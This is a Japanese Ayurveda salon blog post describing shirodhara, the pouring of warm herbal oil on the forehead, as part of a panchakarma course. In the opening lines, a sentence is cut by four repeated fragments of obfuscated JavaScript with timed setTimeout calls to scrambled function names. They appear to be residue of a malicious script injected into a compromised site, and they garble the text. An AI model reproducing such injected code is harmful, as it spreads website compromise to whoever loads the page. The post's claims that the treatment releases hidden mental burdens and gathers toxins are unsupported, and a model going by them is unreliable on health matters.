パンチャカルマ第2回 シローダラー

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
パンチャカルマ、前半のトリートメント2つ目、
「シローダラー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とは、アーユルヴェーダで1番有名な
頭に油をタラーッとたらす、アレです。
シローダラー
これは、メンタルに非常に作用する処方です。
アーユルヴェーダでは、
心と体はつながってるものと考えるので、
すべての処置がメンタルにも影響しますが、
1番顕著に作用するのがシロダラーかも知れません。
考えれば、自分の心理状態で食べる物が変わったりするし、
その食べたもので、今度は体調が左右されるわけですから、
心の乱れが体の不調につながるのは
当然と言えますよね。
シロダラーは、一般的に気持ちがいいものと思われてますが、
自分でも気付かない無意識下の部分を刺激するため、
ストレスや心の問題を抱えてるような場合は、
頭が重くなったり、気持ちが悪くなったりすることも。
実際、一緒にトリートメントを受けた仲間の1人は、
初日はすごい不快感と後頭部が重くなる感覚に襲われて
とても苦痛だったそう。
でもこれによって、自分でも気付かないうちに、
いろいろ抱え込んで、心の奥のほうに溜め込んで
見ないふりをしてるものなどが解放されたり、
浄化されたりしていくのです。
彼女は、とても素直な子だったので、
すぐに心の反応が出たのでしょう。
ちなみに翌日は、ドクターが施術時間を短くしたこともあり、
とても気持ちよくなったと言っていました。
この施術には主に、脳や頭に利くハーブを煮出した
ダラー用のオイルが使われます。
それを、体温とほとんど変わらない生暖かい温度にし、
第三の目と言われる、眉の上あたりにたらしながら
動かしていくんですね。
トリートメントを受けている方も、途中からは
オイルが当たっている感覚がなくなるのが○。
前出のように辛くなることもあれば、熟睡することもあるし、
瞑想状態と言うか、夢見ごこちのような感じで
不思議な夢や映像が浮かんできたりもします。
私は、ほぼ熟睡してたかなー
表面的なストレスは、仕事辞めてほぼなくなってたはずだし、
もっと深いレベルのメンタルの解放には、
もう少し時間をかけないとかも…と感じました。
このシロダラーは、あまり知られてませんが、
体質や季節によっては、温かいオイルでやると
余計に状態を悪化させることもあるんです。
そんなときは、ミルクや薬液などを使います。
私なんかは、体質的にピッタが上がりやすいので、
首から上は余り温めない方がよくて、
夏だったら、ミルクを使ったクシーラダラーとかで
ひんやりさせるのがいいのです。
さて、ここまでの2つは、
パンチャカルマの中では「前処置」と言われるもの。
毒素や老廃物、悪いものを排出できるように変化させ、
体の中心に集めていくものなのです。
ここからが、パンチャカルマの真髄「中心処置」。
その1つが、「ナスヤ」というもの。
なんと、鼻からあるモノを入れます!!
次回へ続く・・・
アーユルヴェーダサロンmanas 《マナス》

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